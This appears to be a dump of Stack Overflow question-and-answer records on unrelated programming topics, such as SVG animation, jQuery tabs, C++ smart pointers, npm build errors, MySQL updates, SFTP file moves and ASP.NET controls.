27446413	0	SVG path animation issue <p>I'm new to CSS animations and I'm struggling to get <a href="http://codepen.io/anon/pen/LENLxM" rel="nofollow">this animation</a> working.</p> <p>I've been following this <a href="http://css-tricks.com/svg-line-animation-works/" rel="nofollow">CSS Tricks post</a>.</p> <p>Currently I don't understand why there are three separate starting point in the animation.</p> <p>I would like to start from one point, follow the path all the way(doesn't matter which direction) and close the animation at the starting point.</p> <p>Is that possible? If it is, can anyone tell what's wrong in what I've tried so far?</p> <p>Any help appreciated, thanks.</p> <p>This is the code in the demo (I've cut some svg code out):</p> <p><strong>HTML</strong></p> <pre><code>&lt;svg xmlns="http://www.w3.org/2000/svg" width="3.27778in" height="3.27778in" viewBox="0 0 236 236"&gt; &lt;path class="path" fill="none" stroke="black" stroke-width="2" d="M 236.00,0.00 C 236.00,0.00 236.00,236.00 236.00,236.00 236.00,236.00 0.00,236.00 0.00,236.00 0.00,236.00 0.00,0.00 0.00,0.00 0.00,0.00 236.00,0.00 236.00,0.00 Z M 74.00,34.00 ......... C 212.00,194.00 213.00,195.00 213.00,195.00 213.00,195.00 213.00,194.00 213.00,194.00 213.00,194.00 212.00,194.00 212.00,194.00 Z" /&gt; &lt;/svg&gt; </code></pre> <p><strong>CSS</strong></p> <pre><code>.path { stroke-dasharray: 1000; stroke-dashoffset: 1000; animation: dash 10s linear infinite; } @keyframes dash { from { stroke-dashoffset: 1000; } to { stroke-dashoffset: 0; } } </code></pre>
13858682	0	switch div tags using javascript doesnt work in xhtml strict <p>Hi i need to switch between div tags, I have no idea where's the problem... The site is XHTML strict...</p> <pre class="lang-js prettyprint-override"><code>$(document).ready(function() { var activeId = $(".active").each(function(){ $("#content" + $(this).attr("id").replace("tab","")).show(); }); $(".tabs a").click(function() { var $tabs =$(this).closest(".tabs"); $("#content" +$tabs.attr("data-lastContent")).hide(); $(this).closest(".tabs").find(".active").removeClass("active"); $(this).addClass("active") var id = $(this).closest("li").attr("id").replace("tab",""); $tabs.attr("data-lastContent", id); $("#content" + id).show(); }); });​ </code></pre> <p>It is a menu and some divs below I need to switch... I use the code from this post <a href="http://jsfiddle.net/hKMFb/24/" rel="nofollow">http://jsfiddle.net/hKMFb/24/</a> but with no success....</p> <pre><code>&lt;div class="tabs" data-lastContent="1"&gt; &lt;li id="tab1" class="active"&gt;&lt;a href="#"&gt;PROSBA&lt;/a&gt;&lt;/li&gt; &lt;li id="tab2"&gt;&lt;a href="#"&gt;PRŮVODNÍ TEXT&lt;/a&gt;&lt;/li&gt; &lt;li id="tab3"&gt;&lt;a href="#"&gt;GALERIE&lt;/a&gt;&lt;/li&gt; &lt;li id="tab4"&gt;&lt;a href="#"&gt;JAK POMOCI?&lt;/a&gt;&lt;/li&gt; &lt;/div&gt; &lt;div id="content1" class="content"&gt;&lt;div class="scroller"&gt;ahojjjj&lt;/div&gt;&lt;/div&gt; &lt;div id="content2" class="content"&gt;&lt;div class="scroller"&gt;nee&lt;/div&gt;&lt;/div&gt; &lt;div id="content3" class="content"&gt;&lt;div class="scroller"&gt;ahdad&lt;/div&gt;&lt;/div&gt; &lt;div id="content4" class="content"&gt;&lt;div class="scroller"&gt;ahod&lt;/div&gt;&lt;/div&gt; </code></pre> <p>Any input is appreciated.</p> <p>Thanks. Jan</p>
4787678	0	 <p>According to <a href="http://www.boost.org/doc/libs/1_45_0/libs/smart_ptr/shared_ptr.htm">the documentation of Boost <code>shared_ptr</code></a>, the <code>shared_ptr</code> constructor is marked <code>explicit</code>, meaning that there's no implicit conversion from <code>T*</code>s to <code>shared_ptr&lt;T&gt;</code>. Consequently, when you're trying to insert the iterator range defining your old container into the new container, the compiler complains because there's no way of implicitly converting from the raw pointers of the old containers into the <code>shared_ptr</code>s of the new container. You can fix this by either using a <code>back_inserter</code> and <code>transform</code>, or by just doing the iteration by hand to wrap each pointer and insert it one at a time.</p> <p>It turns out that there's a good reason that you don't want this conversion to work implicitly. Consider:</p> <pre><code>void DoSomething(shared_ptr&lt;T&gt; ptr) { /* ... */ } T* ptr = new T(); DoSomething(ptr); </code></pre> <p>If the implicit conversion were allowed here, then the call to <code>DoSomething</code> would be legal. However, this would cause a new <code>shared_ptr</code> to start referencing the resource held by <code>ptr</code>. This is problematic, because when this <code>shared_ptr</code> goes out of scope when <code>DoSomething</code> returns, it will see that it's the only <code>shared_ptr</code> to the resource and will deallocate it. In other words, calling <code>DoSomething</code> with a raw pointer would implicitly delete the pointer!</p>
37357578	0	Error easy-captcha npm installing in sailsJS <p>I have run on terminal to install easy-captcha for my app. </p> <pre><code>npm install easy-captcha --save </code></pre> <p>and error appeared:</p> <pre><code>gyp ERR! build error gyp ERR! stack Error: `make` failed with exit code: 2 gyp ERR! stack at ChildProcess.onExit (/home/haihv94/Applications/nodejs/lib/node_modules/npm/node_modules/node-gyp/lib/build.js:269:23) gyp ERR! stack at ChildProcess.emit (events.js:110:17) gyp ERR! stack at Process.ChildProcess._handle.onexit (child_process.js:1074:12) gyp ERR! System Linux 3.19.0-25-generic gyp ERR! command "node" "/home/haihv94/Applications/nodejs/lib/node_modules/npm/node_modules/node-gyp/bin/node-gyp.js" "rebuild" gyp ERR! cwd /home/haihv94/NDM/ndm.org/node_modules/easy-captcha gyp ERR! node -v v0.12.7 gyp ERR! node-gyp -v v2.0.1 gyp ERR! not ok npm ERR! Linux 3.19.0-25-generic npm ERR! argv "/home/haihv94/Applications/nodejs/bin/node" "/home/haihv94/Applications/nodejs/bin/npm" "install" "easy-captcha" "--save" npm ERR! node v0.12.7 npm ERR! npm v2.11.3 npm ERR! code ELIFECYCLE npm ERR! easy-captcha@0.1.5 install: `node-gyp rebuild` npm ERR! Exit status 1 npm ERR! npm ERR! Failed at the easy-captcha@0.1.5 install script 'node-gyp rebuild'. npm ERR! This is most likely a problem with the easy-captcha package, npm ERR! not with npm itself. npm ERR! Tell the author that this fails on your system: npm ERR! node-gyp rebuild npm ERR! You can get their info via: npm ERR! npm owner ls easy-captcha npm ERR! There is likely additional logging output above. npm ERR! Please include the following file with any support request: npm ERR! /home/haihv94/NDM/ndm.org/npm-debug.log </code></pre> <p>I've tried installing another npm to using captcha (s.a recaptcha, node-captcha) but same error! How can I solve this problem? thanks all!</p>
20521383	0	Updating MySQL database with values from dynamically generated textboxes in different divs <p>I'll try my best to explain my problem here, forgive me if I use the wrong terms occasionally, I'm still pretty much a beginner, and quite terrible at explaining.</p> <p>My goal is to use Jquery to dynamically add textboxes, and then use C# to update the values in those textboxes into a mysql database.</p> <p>The database consists of four columns, UserID(PK), Date(PK), Subject(PK) and Hours. The goal is to be able to fill in the amount of hours you've worked on a subject on certain day of the current week.</p> <p>So far, I'm able to add a new textbox whenever I press the button for the day I want to update the data for. The problem I'm running into is that I have no idea how to build the mysql query in such a way that it correctly associates the entered values with the day they're entered for.</p> <p>My code so far:</p> <pre><code>&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt; &lt;head runat="server"&gt; &lt;script type="text/javascript" src="http://code.jquery.com/jquery-1.4.2.min.js"&gt;&lt;/script&gt; &lt;script type="text/javascript"&gt; &lt;/script&gt; &lt;title&gt;&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;form id="form1" runat="server"&gt; &lt;div id="dag1" runat="server"&gt; &lt;input class="btnAdd" type="button" value="Monday" onclick="AddTextBox($(this).parent().attr('id'));" /&gt; &lt;/div&gt; &lt;div id="dag2" runat="server"&gt; &lt;input class="btnAdd" type="button" value="Tuesday" onclick="AddTextBox($(this).parent().attr('id'));" /&gt; &lt;/div&gt; &lt;div id="dag3" runat="server"&gt; &lt;input class="btnAdd" type="button" value="Wednesday" onclick="AddTextBox($(this).parent().attr('id'));" /&gt; &lt;/div&gt; &lt;div id="dag4" runat="server"&gt; &lt;input class="btnAdd" type="button" value="Thursday" onclick="AddTextBox($(this).parent().attr('id'));" /&gt; &lt;/div&gt; &lt;div id="dag5" runat="server"&gt; &lt;input class="btnAdd" type="button" value="Friday" onclick="AddTextBox($(this).parent().attr('id'));" /&gt; &lt;/div&gt; &lt;br /&gt; &lt;br /&gt; &lt;div id="TextBoxContainer"&gt; &lt;script type="text/javascript"&gt; function AddTextBox(day) { var value = "" var div = document.createElement('DIV'); div.innerHTML = '&lt;input name = "Subject" type="text" value = "' + value + '" /&gt;&lt;input name = "Hours" type="text" value = "' + value + '" /&gt;'; document.getElementById(day).appendChild(div); } &lt;/script&gt; &lt;/div&gt; &lt;br /&gt; &lt;asp:Button ID="btnPost" runat="server" Text="Post" OnClick="Post" /&gt; &lt;asp:Label ID="labeltest" Text="" runat="server" /&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>And my codebehind:</p> <pre><code> protected string Values; protected void Post(object sender, EventArgs e) { string[] textboxValues = Request.Form.GetValues("Subject"); string[] textboxValues2 = Request.Form.GetValues("Hours"); MySqlConnection conn; MySqlCommand comm; string myConnectionString = "server=localhost;uid=root;database=caroussel"; using (conn = new MySqlConnection()) { try { int veld = 0; foreach (string val in textboxValues) { string value2 = textboxValues2[veld]; veld++; using (comm = new MySqlCommand("update uren set Subject=@Subject, Hours=@Hours WHERE Date=??? AND UserID=1, conn)) ; comm.Parameters.Add("@Subject", MySqlDbType.VarChar, 45); comm.Parameters["@Subject"].Value = val; comm.Parameters.Add("@Hours", MySqlDbType.Int16); comm.Parameters["@Hours"].Value = value2; comm.Parameters.Add("@UserID", MySqlDbType.Int16); comm.Parameters["@UserID"].Value = 1; comm.Parameters.Add("@Date", MySqlDbType.VarChar, 45); comm.Parameters["@Date"].Value = ????; { conn.ConnectionString = myConnectionString; conn.Open(); comm.ExecuteNonQuery(); conn.Close(); } } } finally { conn.Close(); } } } </code></pre> <p>If there's anything missing, or clarification is required, or I simply forgot something, please do tell, I'm rather stuck at the moment, and I haven't been able to find something that would help me so far.</p>
32934259	0	 <p>Java's equals contract gets especially spotty in situations like this, and in the end it all becomes a matter of the programmer's preferences and needs. I remember reaching this very same issue and I came across <a href="https://www.artima.com/lejava/articles/equality.html" rel="nofollow" title="How to Write an Equality Method in Java">this article</a>, which goes over several possibilities and issues when considering the equals contract with Java. It basically ends up saying there's no way to properly do it without breaking the Java equals contract.</p> <p>When dealing with <em>abstract</em> classes, my personal preference is to not give the abstract class an equals method at all. It doesn't make sense. You can't have two objects of an abstract type; how should you compare them? Instead, I give each subclass its own equals, and the runtime handles the rest whenever <code>equals()</code> is called. And overall, the solution presented in the article that I most often follow is the "only objects of the exact same class may be compared", which seems the most sensible to me.</p>
21160438	0	 <p>I would approach this as follows:</p> <pre><code>from collections import defaultdict # using defaultdict makes the sums easier correlations = defaultdict(int) # default to int (i.e. 0) for i1, i2, correl in strScoresDict: # loop through data correlations[i1] += correl # add score for first item correlations[i2] += correl # and second item output = sorted(correlations, key=lambda x: correlations[x], reverse=True) # sort keys by value </code></pre> <p>Note, however, that the output is </p> <pre><code>output == ['item2', 'item1', 'item4', 'item3'] </code></pre> <p>As the total correlations are</p> <pre><code>{'item1': 220, 'item3': 100, 'item2': 240, 'item4': 200} </code></pre> <p>You can <a href="http://docs.python.org/2/library/collections.html#collections.defaultdict" rel="nofollow">read about <code>defaultdict</code> here</a>.</p>
22442690	0	 <p>What did you expect it to do (typos aside)? You have a POD type that does not need any destruction to happen. Try the same thing with something more meaty, say, put a <code>std::string</code> in there, and the destructor will actually do something.</p> <p>Then, put those experiments aside and if at one place in the next twenty years you actually do need placement new and explicitly called destructors, put some debugging output in the destructor you need and check that it is actually called.</p>
22551751	0	Print current date, without complex time commands <p>The prompt is:</p> <p>Implement a function that determines and prints out the current year, month and day. </p> <p>For example:</p> <p>Today is 03/04/2014.</p> <p>You guys dont have to really mind the code i wrote, its just kinda like scribble trying to figure our a way to print the current date using the seconds since the epoch given by the time(NULL) command.</p> <p>Before anyone gives me a super complex time command code etc etc, im pretty sure my professor wants us to convert the unix time (seconds since the epoch: jan 1, 1970) to the current date somehow.</p> <p>Would anyone be able to help me in anyway to do this in the way my professor wants?</p> <p>Thanks!</p> <p>The code i currently have is:</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;time.h&gt; int main () { int days, weeks, months, years, option, rmd, currentyear, currentmonth; time_t seconds; seconds = time(NULL); days = seconds/(60*60*24); weeks = seconds/((60*60*24)*7); rmd=seconds%31557600; months = ((seconds/31557600) * 12)+(((float)rmd/31557600)*12); years = days/(365.25); currentyear = 1970 + years; currentmonth = (((float)rmd/31557600)*12)+1; printf("%ld/%ld", currentmonth,currentyear); ; return 0; } </code></pre>
161285	0	 <p>Cheat and use <strong><a href="http://libusb.wiki.sourceforge.net/" rel="nofollow noreferrer">libusb</a></strong>. I did this for a project I've been working on for a while and wrote a <strong>C++/<a href="http://wxwidgets.org/" rel="nofollow noreferrer">wxWidgets</a></strong> app to handle the data.</p> <p>I've been thinking recently of re-writing the app on the PC in <strong><a href="http://wxpython.org/" rel="nofollow noreferrer">wxPython</a></strong> though as it's much faster for GUI development.</p> <p>How you want to display / log the data? There are a lot of options available. You can do some pretty cool stuff (easily) with <a href="http://www.wxwidgets.org/docs/tutorials/opengl.htm" rel="nofollow noreferrer">the OpenGL capabilities of wxWidgets</a> whether it's 2D or 3D data representation. </p>
40103236	0	 <p>The <code>Equals</code> method and the <code>IEquatable&lt;T&gt;</code> interface could be used to know if two objects are equal but they won't allow you to know the differences between the objects.</p>
6191772	0	Calling C/C++ functions in dynamic and static libraries in D <p>I'm having trouble wrapping my head around how to interface with C/C++ libraries, both static (.lib/.a) and dynamic (.dll/.so), in D. From what I understand, it's possible to tell the DMD compiler to link with .lib files, and that you can convert .dll files to .lib with the implib tool that Digital Mars provides. In addition, I've come across <a href="http://digitalmars.com/d/2.0/htomodule.html" rel="nofollow">this page</a>, which implies being able to call functions in .dlls by converting C header files to D interface files. Are both of these methods equivalent? Would these same methods work for Unix library files? Also, how would one reference functions, enums, etc from these libraries, and how would one tell their D compiler to link with these libs (I'm using VisualD, specifically)? If anyone could provide some examples of referencing .lib, .dll, .a, and .so files from D code, I'd be most grateful. </p>
40636558	0	 <p>Sorry cordova application works at your device. It does not operate at your network switch/router. There is yet no way that your device could ask your router if it has working internet access and the router could acknowledge that yes i have or not. What you could do at your device only to detect network access.</p> <p>The only other thing you can do is send an http request to something like google which is almost never down, in device ready event or when required, if it responds with ready state then your internet is ok and otherwise not.</p> <p>A function to test this address to check if the device has access to internet would look like this :</p> <pre><code>function testInternet(win,fail){ $.get("https://people.googleapis.com/v1/people/me/connections").done(win).fail(fail); } Or , function testInternet(win,fail){ $.ajax({ url:"https://people.googleapis.com/v1/people/me/connections", timeout:5000, //timeout to 5s type: "GET", cache: false }).done(win).fail(fail); } </code></pre> <p>ajax request response back 401 (Unauthorized) which means we have internet access but we are Unauthorized for that google api. here is the google <a href="https://developers.google.com/api-client-library/javascript/features/cors" rel="nofollow noreferrer">api</a></p> <blockquote> <p>The plugin does not detect if the user has access to the Internet, but only if the user is on a network. Since your phone is on a WiFi network even though the WiFi network doesn't have access to the Internet, the plugin is performing as designed.</p> </blockquote>
17852249	0	svn2git: Cannot setup tracking information <p>I am trying to migrate a SVN project to git with thel help of svn2git. When executing the command it exits with the following error:</p> <pre><code>Running command: git branch --track "0.0.9" "remotes/svn/0.0.9" fatal: Cannot setup tracking information; starting point 'remotes/svn/0.0.9' is not a branch. </code></pre> <p>Started it with:</p> <pre><code> svn2git http://&lt;host&gt;/&lt;project&gt; </code></pre> <p>I can't find any solution for it and it seems not many users has the same problem.</p> <p>What can I do to solve this problem?</p>
11302957	0	RestKit not mapping attributes properly when using CoreData <p>I am having some issues implementing RestKit/CoreData with my application. Using the RKTwitterCoreData example application and pointing it to my web service for the json feed, I get the resulting tableview:</p> <p><img src="https://i.stack.imgur.com/XSqw1.png" alt="Duplicate objects/ID not being displayed correctly"></p> <p>The issues encountered so far:</p> <ol> <li>Refresh generates a new core data entry even though i have primaryKeyAttribute set to the orderID.</li> <li>cell textLabel displays an odd orderID that doesn't match with my web service</li> </ol> <p>Here is my applicationDidFinishLaunchingWithOptions:</p> <pre><code>- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { // Initialize RestKit RKObjectManager* objectManager = [RKObjectManager managerWithBaseURLString:@"http://mywebservice.com"]; // Enable automatic network activity indicator management objectManager.client.requestQueue.showsNetworkActivityIndicatorWhenBusy = YES; NSString *databaseName = @"RKTwitterData.sqlite"; objectManager.objectStore = [RKManagedObjectStore objectStoreWithStoreFilename:databaseName usingSeedDatabaseName:nil managedObjectModel:nil delegate:self]; RKManagedObjectMapping* statusMapping = [RKManagedObjectMapping mappingForClass:[Order class] inManagedObjectStore:objectManager.objectStore]; statusMapping.primaryKeyAttribute = @"orderID"; [statusMapping mapKeyPath:@"id" toAttribute:@"orderID"]; [statusMapping mapAttributes:@"created_at", nil]; // Register our mappings with the provider [objectManager.mappingProvider setObjectMapping:orderMapping forResourcePathPattern:@"/orders"]; // Create Window and View Controllers RKTwitterViewController* viewController = [[[RKTwitterViewController alloc] initWithNibName:nil bundle:nil] autorelease]; UINavigationController* controller = [[UINavigationController alloc] initWithRootViewController:viewController]; UIWindow* window = [[UIWindow alloc] initWithFrame:CGRectMake(0, 0, 320, 480)]; [window addSubview:controller.view]; [window makeKeyAndVisible]; return YES; } </code></pre> <p>And the json result at /orders:</p> <p><img src="https://i.stack.imgur.com/rpp6I.png" alt="enter image description here"></p> <p>Any advice for dealing with this issue? Thanks!</p>
8352772	0	 <p>primarykey fields ( of any data-type ) are <strong>not included</strong> in the list returned by <code>allFileds</code> method of the Mapper.</p> <p>You can prepend the field separately if you want </p> <p>something like </p> <pre><code> var myMapperPrimaryKey=DummyMapper.primaryKeyField var fieldList=DummyMapper.allFields.toBuffer[BaseField] fieldList.prepend(myMapperPrimaryKey) // Now fieldList is having the primaryKey along with other fields. </code></pre>
39447117	0	Issue while fetching dates between range <p>I have two tables. One is hall which is having following schema. <a href="https://i.stack.imgur.com/lAJGj.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/lAJGj.png" alt="Hall Table"></a></p> <p><a href="https://i.stack.imgur.com/rHg81.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/rHg81.png" alt="Events Table"></a></p> <p>One hall can have many events.I want halls which are available between two dates.For example halls between 2016-09-10 and enddate = 2016-09-15. I want all the halls which are not booked for the whole range of dates i.e 10,11,12,13,14,15. </p>
16314741	0	 <pre><code>myFlv.stop(); removeChild(myFlv); myFlv = null; </code></pre>
4483901	0	 <p>All of your view controllers INSIDE the split view controller have to override the method. Seems like at least one of your overrides returns NO in all cases. To make it rotate to all orientations, return YES in all overrides.</p>
13875212	0	 <p>Also, read here: <a href="http://docs.doctrine-project.org/en/2.0.x/reference/batch-processing.html" rel="nofollow">http://docs.doctrine-project.org/en/2.0.x/reference/batch-processing.html</a></p> <p>It suggests to use $em->clear() after every bulk of operations. (which should give the same effect as Besnik suggested).</p> <p>From the previously mentioned link:</p> <blockquote> <p>Bulk inserts in Doctrine are best performed in batches, taking advantage of the transactional write-behind behavior of an EntityManager. The following code shows an example for inserting 10000 objects with a batch size of 20. You may need to experiment with the batch size to find the size that works best for you. Larger batch sizes mean more prepared statement reuse internally but also mean more work during flush.</p> </blockquote>
35114477	0	 <p>There is no workaround.</p> <blockquote> <p>Using non-top level imports will not work with native ES6 implementations. Babel allows it because it transpiles to CommonJS require, but it is technically not allowed in ES6.</p> </blockquote> <p><a href="https://github.com/eslint/eslint/issues/2259" rel="nofollow">eslint issue</a> and according <a href="https://github.com/eslint/espree/issues/124" rel="nofollow">espree issue</a></p>
1861282	0	.net, UserControls, and application start time <p>We have a medium sized application that depends on several usercontrols, namely:</p> <p>A tablelayout panel, with 2x5 grid of usercontrols, with 3+ levels of inheritance. A big issue we're running into with our application has proven to be startup time (both cold\warm), one of the big big hangups we're getting is initializing this usercontrol grid.</p> <p>From our timing reports, this form comes in at about 0.75 seconds for initialization, and cutting this down would be a <em>big deal</em>.</p> <p>My question is: What the heck can I do to speed this up? Whenever I run timing checks on similar-complexity InitializeComponents (all windows, .net controls), the result is magnitudes less (&lt;10 milleseconds) sometimes. </p> <p>edit) I'm wondering if things like marking my final classes <em>sealed</em> or something similar would help.</p> <p>edit2) I've looked deeper into the timing of initializecomponent, and for my current machine, The main container adds 10 components to it (at 10ms a piece). Each of those components adds 3 components (at 10ms a piece). 10x10 + 30x10 = 700ms. Unless I can increase the speed at which items get added to their containers, I think I'm SOL.</p>
18361595	0	 <p>I was able to slightly improve Zach's answer by incorporating a few function calls. The problem with that answer is that it disables onMouseUp completely, thereby preventing you from clicking around in the textbox once it has focus.</p> <p>Here is my code:</p> <pre><code>&lt;input type="text" onfocus="this.select()" onMouseUp="javascript:TextBoxMouseUp();" onMouseDown="javascript:TextBoxMouseDown();" /&gt; &lt;script type="text/javascript"&gt; var doMouseUp = true; function TextBoxMouseDown() { doMouseUp = this == document.activeElement; return doMouseUp; } function TextBoxMouseUp() { if (doMouseUp) { return true; } else { doMouseUp = true; return false; } } &lt;/script&gt; </code></pre> <p>This is a slight improvement over Zach's answer. It works perfectly in IE, doesn't work at all in Chrome, and works with alternating success in FireFox (literally every other time). If someone has an idea of how to make it work reliably in FF or Chrome, please share. </p> <p>Anyway, I figured I'd share what I could to make this a little nicer.</p>
38217959	0	How to move CSV file in FTP server one folder to another? <p>When i am trying to move file from fileDirectory1 to fileDirectory2 .. Is there any way to move or copy that file from one path to another in one FTP server.Please anyone can help me.</p> <p>Here is my sample code:</p> <pre><code> String existingfile = file.getFilename(); String newfile =file.getFilename(); String fileDirectory1 = clients.getFtpFolder() + "/" + "unprocessed" + "/"; String fileDirectory2 = clients.getFtpFolder() + "/" + "processed" + "/"; sftpChannel.cd(fileDirectory1); if (sftpChannel.get(newfile) != null){ sftpChannel.rename(fileDirectory1 + newfile , fileDirectory2 + newfile ); sftpChannel.cd(fileDirectory2); sftpChannel.rm(existingfile ); } </code></pre> <p>Console:</p> <pre><code>Caused by:2: No such file at com.jcraft.jsch.ChannelSftp.throwStatusError(ChannelSftp.java:2846) </code></pre> <p>I have tried <a href="http://stackoverflow.com/questions/30050045/how-to-move-file-from-directory-a-to-directory-b-in-remote-server">How to move file from directory A to directory B in remote server?</a></p> <p><a href="http://stackoverflow.com/questions/13277218/move-a-directory-in-remote-server-to-another-location-in-the-same-remote-server">Move a directory in remote server to another location in the same remote server using jsch</a></p>
18833703	0	Change size of Panorama item <p>I want that the height of one of my Panorama items is higher than usual just like in the TeamViewer app. The height should actually match with the Screen. That Panorama item should be entirely filled with a single canvas. How can I do that?</p>
18943800	0	 <p>It's probably your config file...Check your config files for self terminating nodes.</p>
22589182	0	Set 'nice' value to concrete processes, by default <p>I would like to set specific "nice" values to several processes in a laptop. For example, I would like the window manager to run at -10, and keep the default at 0.</p> <p>I know that "renice" can change the niceness of a processes, but this is a-posteriori, and I do not want to "renice" my window manager process every time that I open the computer. Similarly, "limits.conf" allows to specify default niceness for specific users or groups, but not (as far as I know) specific processes.</p> <p>So my question is whether there is a way to define niceness for concrete processes, without having to change the default for the user and without having to renice the process once it runs.</p>
21687674	0	 <p>The problem is that when you set a 100% height value it take the longitud from the parent container. If the conatiner is the body tag it ajustment to the size of the content it self that could be very samll. You need to set up the size to a specifycally size you can use the window size for example.</p>
10008250	0	 <p>You should do</p> <pre><code>function(data) { $.each(data, function(){ $('#result').append('&lt;p&gt;Name:'+this.name+' Link:'+this.link+' Approve'+this.approve+'&lt;/p&gt;'); }); } </code></pre> <p>fiddle here <a href="http://jsfiddle.net/hUkWK/" rel="nofollow">http://jsfiddle.net/hUkWK/</a></p>
20197287	0	 <p>You are using <code>JSON.Stringify</code>; it should be <code>JSON.stringify</code>. Did you check your console for errors? Simply spitting the JSON out isn't too user-friendly, though. Is that what you want?</p> <p>You're going to have to iterate over each individual skill and then insert that into the table in a format that you see fit (perhaps you can use an un-ordered list):</p> <pre><code>var $table = jQuery("table"); $table.append(jQuery("tr") .append( jQuery("th").text("First Name")) .append( jQuery("th").text("LastName")) ... //and so on ) for(var i = 0; i &lt; data.length; i++) { var $tr = jQuery("tr"); $tr.append( jQuery("td").text(data[i].firstname}) ).append( jQuery("td").text(data[i].lastname) )... var skills = data[i].skills; var $ul = jQuery("ul"); for(var j = 0; j &lt; skills.length; j++) { var skill = skills[j]; $ul.append(jQuery("li").text(skill.name)); } $tr.append(jQuery("td").append($ul)); } </code></pre>
2155991	0	Keyboard Focus Breaking with Radio Button Group <p>It seems simple, but this has been a bit of a headscratcher for me. Given the following (valid xhtml transitional) code:</p> <pre><code>&lt;form action="weird.html"&gt; &lt;label for="test1"&gt;T1&lt;/label&gt; &lt;input type="radio" id="test1" name="test" value="1" /&gt; &lt;label for="test2"&gt;T2&lt;/label&gt; &lt;input type="radio" id="test2" name="test" value="2" /&gt; &lt;label for="test3"&gt;T3&lt;/label&gt; &lt;input type="radio" id="test3" name="test" value="3" /&gt; &lt;label for="test4"&gt;T4&lt;/label&gt; &lt;input type="radio" id="test4" name="test" value="4" /&gt; &lt;label for="test5"&gt;T5&lt;/label&gt; &lt;input type="radio" id="test5" name="test" value="5" /&gt; &lt;/form&gt; </code></pre> <p>Why is it that I can't tab between radio buttons? This issue seems to be because they all have the same name attribute, but that seems rather counter-intuitive to me as far as accesbility goes. Why does the focus state only get applied to one? Is this because the group is treated as a single element? Are access keys the only non-Javascript solution here?</p>
2008363	0	 <p>This should be very easy. Valid function names can only consist of alphanumerics, parenthesis, and possibly parameter values within the parens (i don't know enough javascript to know whether parameters are defined in the function call) and must start with a letter, correct? Therefore to validate that a string is a valid function name. Therefore this should work:</p> <pre><code>[a-xA-z]+[a-zA-z0-9_]\*(\\(.*?\\))\* </code></pre>
2976225	0	 <p>You could use a <a href="http://msdn.microsoft.com/en-us/library/ms182538(VS.80).aspx" rel="nofollow noreferrer">Visual Studio Web Test</a> to record and execute a scenario. <a href="http://seleniumhq.org/" rel="nofollow noreferrer">Selenium</a> is another alternative.</p>
23614353	0	 <p>Three steps:</p> <p>First, find all the cells in each polygon, return a list of 2-column matrices with the cell number and the value:</p> <pre><code>require(plyr) # for llply, laply in a bit... cell_value = extract(dat, polys,cellnumbers=TRUE) head(cell_value[[1]]) cell value [1,] 31 108 [2,] 32 108 [3,] 33 110 [4,] 92 110 [5,] 93 110 [6,] 94 111 </code></pre> <p>Second, turn into a list of similar matrices but add the x and y coords:</p> <pre><code>cell_value_xy = llply(cell_value, function(x)cbind(x,xyFromCell(dat,x[,"cell"]))) head(cell_value_xy[[1]]) cell value x y [1,] 31 108 8.581164 14.71973 [2,] 32 108 8.669893 14.71973 [3,] 33 110 8.758623 14.71973 [4,] 92 110 8.581164 14.67428 [5,] 93 110 8.669893 14.67428 [6,] 94 111 8.758623 14.67428 </code></pre> <p>Third, compute the weighted mean coordinate. This neglects any edge effects and assumes all grid cells are the same size:</p> <pre><code>centr = laply(cell_value_xy, function(m){c(weighted.mean(m[,3],m[,2]), weighted.mean(m[,4],m[,2]))}) head(centr) 1 2 [1,] 8.816277 14.35309 [2,] 8.327463 14.02354 [3,] 8.993655 13.82518 [4,] 8.467312 13.71929 [5,] 9.011808 13.28719 [6,] 9.745000 13.47444 </code></pre> <p>Now <code>centr</code> is a 2-column matrix. In your example its very close to <code>coordinates(polys)</code> so I'd make a contrived example with some extreme weights to make sure its working as expected.</p>
24397530	0	 <p>The developer doesn't own the tabBar, the framework does. It will fight you to make sure that the tabBar stays the same height. If you want to work around this, you can make your own toolbar and add autlayout constraints to its height to force it to stay whatever height you'd like.</p>
36254331	0	Div splitter resize problems <p>I created a splitter using javascript component, but it works only with two columns, if I add a third column, start to have problems with resizing.</p> <p>In the excerpt below is where is the logic to resize.</p> <pre><code>var pos = (e.pageX - dragoffset.x); el.style.left = (pos) + "px"; var total_area = $(el).prev().width() + $(el).next().width(); var f_1 = (pos); var f_2 = (total_area - pos); $(el).prev().width(f_1); $(el).next().width(f_2); </code></pre> <p>I have posted my project in <a href="https://jsfiddle.net/m4y3rkqc/7/" rel="nofollow">https://jsfiddle.net/m4y3rkqc/7/</a></p> <p>What parameters should I consider to calculate the size correctly and dynamically?</p>
12099227	0	When I put a record in the test database in rails, for how long does it persist? <p>If, as part of an RSpec or Cucumber test in my Rails application, I create a model and store it in the test database, how long will the record remain there for?</p> <p>I'm pretty sure that the records are cleared at the end (or beginning?) of every test cycle, because they don't seem to interfere with successive runs of my test suite, but do records persist between different cucumber features and scenarios, or between different RSpec tests?</p>
1857247	0	How do you write to an xml file in win32 C++? <p>I would like to write a simple xml file using <code>xmllite</code> in <code>win32 c++</code>. the file will be saved over every time the user saves. How do I do this? I'd rather not include any new libraries for this...</p>
13418159	0	 <p>It can be very confusing working with strings when you want to provide a path... That's the first thing I check whenever something strange is happening.</p>
8088427	0	Programatically rendering a web UserControl <p>I have a load of <code>UserControl</code> objects (<code>ascx</code> files) in their own little project. I then reference this project in two projects: The REST API (which is a class library project) and the main website.</p> <p>I'm sure this would be easy in the website, simply use <code>Controls.Add</code> in any <code>Panel</code> or ASP.NET control would work.</p> <p>However, what about the API? Is there any way I can render the HTML of this control, simply by knowing the type of the control? The <a href="http://msdn.microsoft.com/en-us/library/system.web.ui.control.rendercontrol.aspx" rel="nofollow">RenderControl</a> method doesn't write any HTML to the writer as the control's life cycle hasn't even started.</p> <p><em>Please bare in mind that I don't have the controls in the web project, so I don't have a virtual path to the <code>ascx</code> file. So the <a href="http://msdn.microsoft.com/en-us/library/t9ecy7tf.aspx" rel="nofollow">LoadControl</a> method won't work here.</em></p> <p>All the controls actually derive from the same base control. Is there anything I can do from within this base class that will allow me to load the control from a completely new instance?</p>
